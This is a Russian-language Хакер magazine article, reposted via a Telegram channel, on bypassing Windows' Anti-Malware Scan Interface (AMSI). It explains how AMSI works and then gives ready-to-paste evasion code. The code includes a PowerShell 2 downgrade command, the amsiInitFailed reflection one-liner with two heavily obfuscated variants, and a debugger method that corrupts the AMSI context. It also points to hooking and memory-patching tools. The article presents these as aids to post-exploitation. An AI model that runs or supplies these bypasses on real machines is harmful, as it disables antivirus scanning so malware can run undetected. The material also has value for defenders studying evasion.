Хакер - F#ck AMSI! Как обходят Anti-Malware Scan Interface при заражении Windows
hacker_frei
be_a_saint
Содержание статьи
- Как это работает
- Как обойти проверку
- PowerShell downgrade
- amsiInitFailed
- Хукинг
- Патчинг памяти
- Вызов ошибки
- Выводы
Если тебе знакома фраза «Этот сценарий содержит вредоносное содержимое и был заблокирован антивирусным программным обеспечением», то сегодняшняя статья — для тебя. Такое сообщение генерирует встроенный в Windows 10 механизм AMSI, блокирующий выполнение вредоносных сценариев и скриптов. Можно ли его обойти? Запросто, и сейчас я расскажу, как это сделать.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Аббревиатура AMSI расшифровывается как Anti-Malware Scan Interface. Эту технологию Microsoft разработала в качестве метода защиты пользователей от вредоносных программ и впервые внедрила в Windows 10. AMSI в реальном времени перехватывает скрипты и команды PowerShell, JavaScript, VBScript, VBA или .NET и отсылает на проверку антивирусному программному обеспечению (это необязательно Defender, более десяти вендоров поддерживают AMSI). Но в наших примерах мы рассмотрим все же Defender.
КАК ЭТО РАБОТАЕТ
Когда пользователь запускает скрипт или инициализирует процесс PowerShell (либо PowerShell_ISE), в процесс автоматически загружается библиотека AMSI.DLL. Она‑то и предоставляет необходимый API для взаимодействия с антивирусным ПО. Прежде чем выполниться, скрипт или команда при помощи удаленного вызова процедур (RPC) отправляется Microsoft Defender, он, в свою очередь, анализирует полученную информацию и отсылает ответ обратно AMSI.DLL. Если обнаружена известная сигнатура, выполнение прерывается и появляется сообщение о том, что скрипт заблокирован антивирусной программой.

На приведенной выше схеме обозначены две функции — AmsiScanString() и AmsiScanBuffer(), они, по сути, главные в цепочке AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer и AmsiCloseSession. Если глянуть Exports для amsi.dll, то мы увидим следующее.

Однако значительная часть этого списка нам сегодня не пригодится.
Итак, мы запустили PowerShell. До того как мы сможем вводить какие‑либо команды, будет загружена AMSI.DLL и произойдет вызов AmsiInitialize().
HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);
Тут используются два аргумента: имя приложения и указатель на структуру CONTEXT. Параметр amsiContext будет использоваться в каждом последующем вызове AMSI API.
После того как мы ввели команду или попытались выполнить скрипт, происходит вызов AmsiOpenSession():
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
Тут тоже передаются два аргумента: amsiContext, полученный на шаге AmsiInitialize(), и указатель на структуру SESSION. Параметр amsiSession будет использоваться в каждом последующем вызове AMSI API внутри этой сессии.
Далее в дело вступают те самые AmsiScanString() и AmsiScanBuffer(). По названию, в принципе, понятно, какие параметры они передают для проверки, да и синтаксис у них почти одинаков.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
HRESULT AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
Defender проверяет буфер или строку и возвращает результат. Если ответ от Defender — 32768, то малварь обнаружена, единичка сигнализирует, что все чисто.


Ну и после всех перечисленных выше проверок текущая сессия закрывается с использованием AmsiCloseSession.
КАК ОБОЙТИ ПРОВЕРКУ
Механизм AMSI использует сигнатурное (rule-based) детектирование угроз. Зная этот факт, можно придумывать разные тактики и техники. Некоторые известные способы уже не сработают, но, используя модификацию кода, обфускацию и криптование, можно добиться интересных результатов.
INFO
Для верификации детекта я буду использовать строки AmsiUtils либо Invoke-Mimikatz. Разумеется, сами по себе эти слова безобидны, но на них срабатывает детект, так как они ловятся сигнатурами. Если уж на AmsiUtils нет детекта, то можно смело грузить, например, PowerView и использовать его возможности по максимуму.
Итак, поехали.
PowerShell downgrade
Первый способ, который иногда срабатывает, тривиален. PowerShell 2.0 устарел, но Microsoft не спешит удалять его из операционной системы. У старой версии PowerShell нет таких защитных механизмов, как AMSI, поэтому для обхода детекта иногда достаточно использовать команду powershell -version 2.

amsiInitFailed
Второй способ предотвратить сканирование — это попытаться выставить флаг amsiInitFailed для данного процесса. Делается это следующей командой:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Однако тут не все так просто: чтобы выполнить эту команду, придется потрудиться, придумывая способы обфускации, так как на нее тоже срабатывает детект.

Например, обфусцировать эту команду можно так:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

Во время обфускации можно проявить фантазию. Например, так:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Или даже так:
$kurefii="$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem'+'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))";[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe]0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld').NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93/93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70)+[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))).Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char](105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR](116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null,$True);
В нелегком деле запутывания кода тебе наверняка будет полезен ресурс amsi.fail.
Хукинг
Function hooking — метод, позволяющий нам получить управление над функцией до ее вызова. В данном случае полезно будет перезаписать аргументы, которые функция AmsiScanBuffer() (или AmsiScanString()) будет передавать на проверку.
Тут все просто: инжектим DLL, которая поймает AmsiScanBuffer() и передаст на проверку что‑нибудь безобидное. Использовать можно, например, AmsiHook.dll, инжектор можно взять там же.

Патчинг памяти
Использующих данный метод инструментов много, можно выбрать любой рабочий. Принцип одинаков: пропатчить AmsiScanBuffer(), чтобы всегда возвращалось значение «Проверка пройдена успешно». Вот несколько таких средств:
Для примера попробуем выполнить Memory Patching с помощью my-am-bypass.ps1.

Вызов ошибки
Вспоминая описание принципа работы AMSI, можно заметить, что во всех функциях присутствует структура amsiContext. Идея способа — вызвать ошибку в этой структуре и сломать весь цикл проверки. Сложности добавляет тот факт, что Microsoft никак не документирует эту структуру, да и в целом мало и неохотно пишет документацию для AMSI.
Рассмотрим этот способ, используя Frida (чтобы найти адрес) и дебаггер (чтобы посмотреть, что там происходит).

Введем что‑нибудь и посмотрим на вывод «Фриды».

Теперь откроем процесс PowerShell в дебаггере и посмотрим, что же находится по этому адресу. Размера этой структуры мы не знаем, но первые четыре байта — это AMSI.

Исследуя происходящее дальше, замечаем, что регистр rcx (в котором должен лежать первый аргумент функции) сравнивается с нашими четырьмя байтами и, если эти значения не равны, выполняется переход на amsi!AmsiOpenSession+0x4c.

Мы видим, что функция вернет нам то, что лежит в регистре eax. А в документации указано, что возвращается значение с типом HRESULT.
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
На сайте Microsoft мы находим нужную информацию:
| E_INVALIDARG | One or more arguments are not valid | 0x80070057 |
Если первые четыре байта структуры контекста не совпадут с AMSI, AmsiOpenSession вернет ошибку. Главный вопрос — к чему приведет эта ошибка и что случится, если байты все‑таки не совпадут.
Единственный способ проверить это — вызвать ошибку и посмотреть, что будет. Для этого поставим точку останова (breakpoint) на AmsiOpenSession, а затем поменяем четыре байта на значение 0000. Убедимся, что в регистре rcx находится значение 49534d41 (dc rcx L1), изменим его на 0 (ed rcx 0), проверим, что выполнение прошло успешно и в регистре rcx сейчас 00000000 (еще раз dc rcx L1).

Теперь, если заглянуть в frida-trace, мы увидим заветное AmsiScanBuffer() Exit. Привела ли эта ошибка к нарушению цикла проверки AMSI? Проверим эту теорию, выполнив что‑то «зловредное».

Данный метод с использованием дебаггера был рассмотрен в качестве теории, в живом кейсе, разумеется, дебаггером никто не пользуется, а реализуется данный метод в несколько строчек в том же PowerShell.
ВЫВОДЫ
Как видно из примеров, обойти защиту от AMSI не так уж и сложно. Знание известных методик может облегчить фазу постэксплуатации (или даже фазу эксплуатации).
AMSI может сыграть важную роль в защите систем Windows 10 и Windows Server от компрометации. Но AMSI не панацея. И хотя Microsoft Windows Defender обеспечивает некоторую защиту от обхода AMSI, злоумышленники постоянно находят способы скрыть вредоносный контент от обнаружения.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei